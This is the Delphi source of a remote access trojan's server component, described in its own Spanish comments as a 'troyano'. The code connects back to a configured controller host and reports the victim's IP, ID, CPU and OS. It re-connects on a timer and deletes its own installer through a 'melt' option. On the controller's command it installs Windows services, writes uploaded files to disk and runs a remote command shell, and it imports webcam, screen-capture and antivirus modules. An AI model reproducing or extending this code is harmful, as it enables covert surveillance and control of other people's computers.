program Server;uses
  Windows,
  SysUtils,
  ScktComp,
  MMSystem,
  ShellAPI,
  Classes,
  SndKey32,
  UnitFunciones,
  UnitSystemInfo,
  UnitProcess,
  UnitWindows,
  UnitBromas,
  UnitFileManager,
  UnitRegistro,
  UnitVariables,
  unitCapScreen,
  unitAvs,
  UnitCambioId,
  SettingsDef,
  UnitWebcam,
  UnitInstalacion,
  UnitShell,
  UnitServicios,
  UnitTransfer;type
  TDescarga = record
    Descargado: Int64;  //Datos descargados
    SizeFile: Int64;
  end;
  TClassClientSocket = class
    ClientSocket: TClientSocket;
    ClientSocketFiles: TClientSocket;
    procedure ClientSocketRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure ClientSocketReadFile(Sender: TObject; Socket: TCustomWinSocket);
    procedure ClientSocketError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure ClientSocketOnConnect(Sender: TObject; Socket: TCustomWinSocket);
  end;var
  Cliente: TClassClientSocket;
  Msg: TMsg;
  FSFileUpload: TFileStream;
  SH: Integer;  //SocketHandle de la conexi髇 principal
  Descarga: TDescarga;
  RecibiendoFichero : boolean = false;const
  WM_ACTIVATE = $0006;
  WM_QUIT     = $0012;
  ENTER       = #10;procedure CrearServer();
var
  ConfigLeida : PSettings;
  i : integer;
begin
  //Aqu?va la carga de opciones del editor. Inicializamos las variables configurables del troyano
  //que est醤 todas dentro de un record (Configuracion : TSettings).
  if ReadSettings(ConfigLeida) = true then
  begin
  
  end
  else
  begin
 
  end;
  //Fin de carga de configuraci髇  //Ejecuto los posibles parametros que me puedan pasar
  if ParamStr(1) = '\melt' then
  begin
    //borro el archivo de instalaci髇, reintento 5 veces por si las moscas :)
    for i := 1 to 5 do
    begin
      BorrarArchivo(ParamStr(2));
      if not FileExists(ParamStr(2)) then break; //si yalo borr?entonces se sale dedl for
      Sleep(10);
    end;
    //Otra opci髇: while not BorrarArchivo(ParamStr(2)) do Sleep(10);
  end; //Termina el Melt  //Se crean los valores del socket
  Cliente := TClassClientSocket.Create;
  Cliente.ClientSocket := TClientSocket.Create(nil);
  Cliente.ClientSocket.Host := Configuracion.sHost;
  Cliente.ClientSocket.Port := Configuracion.iPort;
  Cliente.ClientSocket.OnRead := Cliente.ClientSocketRead;
  Cliente.ClientSocket.OnError := Cliente.ClientSocketError;
  
end;procedure Conectar();
begin
  if not Cliente.ClientSocket.Active then
    Cliente.ClientSocket.Open
  else
    Cliente.ClientSocket.Socket.SendText('CONNECTED?' + ENTER); //Si no estoy conectado aqui se disparar?
end;                                                            //el efecto onError y Socket.Active se volver?Falseprocedure TClassClientSocket.ClientSocketError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
  //terminar el Thread de la Shell para que no se quede activo cmd.exe
  if ShellThreadID <> 0 then
    PostThreadMessage(ShellThreadID, WM_ACTIVATE, Length('exit'), DWord(String(PChar('exit'))));
  ErrorCode := 0; //Para que no muestre nada
end;procedure TClassClientSocket.ClientSocketOnConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
  Socket.SendText('SH|' + IntToStr(SH)+ENTER); //Socket Handle
end;procedure TClassClientSocket.ClientSocketRead(Sender: TObject;
      Socket: TCustomWinSocket);
var
  Recibido, Respuesta, TempStr, TempStr1, TempStr2 ,TempStr3: String;
  Tipo, BotonPulsado, i  : Integer;
  TempCardinal           : Cardinal;
  Tam                    : Int64;
  ShellParameters        : TShellParameters;
  ThreadInfo             : TThreadInfo;
  FilePath, LocalFilePath: AnsiString;
begin
  Recibido := Trim(Socket.ReceiveText);  if Recibido = 'PING' then  //Respuesta a pings
  begin
    Socket.SendText('PONG' + ENTER);
    Exit;
  end;  {Informaci髇 mostrada en el ListView de conexiones del cliente, se recibe tambien
  el SocketHandle del cliente, que lo usaremos para relaccionar la conexi髇 principal
  con la conexi髇 para enviar y recibir ficheros}
  if Copy(Recibido, 1, 8)  = 'MAININFO' then
  begin
    Delete(Recibido, 1, 9);  // 'MAININFO|123456'
    SH := StrToInt(Recibido);
    Cliente.ClientSocketFiles := TClientSocket.Create(nil);
    Cliente.ClientSocketFiles.Host := Configuracion.sHost;
    Cliente.ClientSocketFiles.Port := Configuracion.iPort;
    Cliente.ClientSocketFiles.OnRead := Cliente.ClientSocketReadFile;
    Cliente.ClientSocketFiles.OnConnect := Cliente.ClientSocketOnConnect;
    Cliente.ClientSocketFiles.OnError := Cliente.ClientSocketError;
    Cliente.ClientSocketFiles.Open;    Respuesta := Socket.LocalAddress + '|' +  //IP privada
                 LeerID() + '|' +
                 GetCPU() + '|' +
                 GetOS() + '|' +
                 VersionDelServer + '|';
    Socket.SendText('MAININFO|' + Respuesta + ENTER);
  end;
  if Pos('INSTALARSERVICIO', Recibido) = 1 then
  begin
    //Para instalar Servicio que falta de agregar en el cliente
    Delete(Recibido, 1, 16);
    TempStr := Copy(Recibido, 1, Pos('|', Recibido) - 1);
    Delete(Recibido, 1, Pos('|', Recibido));
    TempStr1 := Copy(Recibido, 1, Pos('|', Recibido) - 1);
    Delete(Recibido, 1, Pos('|', Recibido));
    TempStr2 := Copy(Recibido, 1, Pos('|', Recibido) -1 );
    //prueba//messageBox(0,pchar(tempstr+'|'+tempstr1+'|'+tempstr2),0,0);
    ServicioCrear(TempStr, TempStr1, TempStr2);
  end;
end;//Fin del OnRead del socketprocedure TClassClientSocket.ClientSocketReadFile(Sender: TObject;
      Socket: TCustomWinSocket);
var
  Comando: String;
  Len, LenC: Integer;
  Buffer: Pointer;
begin
  Len := Socket.ReceiveLength;
  GetMem(Buffer, Len);
  Socket.ReceiveBuf(Buffer^, Len);
  if not RecibiendoFichero then  //No se est?recibiendo el fichero, se estar?recibiendo un comando de SENDFILE
  begin
    //Ignoramos el comando MAININFO que envia el cliente a todas las conexiones nuevas
    if Copy(PChar(Buffer), 1, 8) = 'MAININFO' then exit;
    if Copy(PChar(Buffer), 1, 8) = 'SENDFILE' then
    begin
      Comando := Copy(PChar(Buffer), 1, Len);
      LenC := Length(Comando) + 1;  //Longitud de la cadena leida + 1 el caracter de fin de cadena #0
      Delete(Comando, 1, 8);
      Descarga.Descargado := 0;
      Descarga.SizeFile := StrToInt(Copy(Comando, 1, Pos('|', Comando) - 1));
      Delete(Comando, 1, Pos('|', Comando));
      RecibiendoFichero := True;
      FSFileUpload := TFileStream.Create(Copy(Comando, 1, Pos('|', Comando) - 1), fmCreate or fmOpenWrite);
      FSFileUpload.Position := 0;
      //A veces ocurre que leemos el comando y a continuaci髇 parte del fichero      Inc(Pchar(Buffer), LenC);  //Desplazamos el Buffer lo que se halla leido, para que eso no se escriba en el fichero
      Len := Len - LenC;
    end;
  end;
  FSFileUpload.Write(Buffer^, Len);
  Descarga.Descargado := Descarga.Descargado + Len;
  if Descarga.SizeFile = Descarga.Descargado then
  begin
    RecibiendoFichero := False;
    FSFileUpload.Free;
  end;
   self.Terminate;
end;//Inicio del programa
begin
  CrearServer();
  //El server solo se instala si en la configuracion se indica
  Instalar();
  Conectar();
  SetTimer(0, 0, Configuracion.iTimeToNotify*1000, @Conectar);
  //Bucle que mantendr?el programa vivo
  while True do
  begin
    Sleep(10);
    if PeekMessage(Msg, 0, 0, 0, PM_REMOVE) then
    begin
      if Msg.Message <> WM_QUIT then
      begin
        TranslateMessage(Msg);
        DispatchMessage(Msg);
      end
      else
        //Si deseamos hacer algo al salir ponerlo aqu?
        Break;
    end;
  end;
end.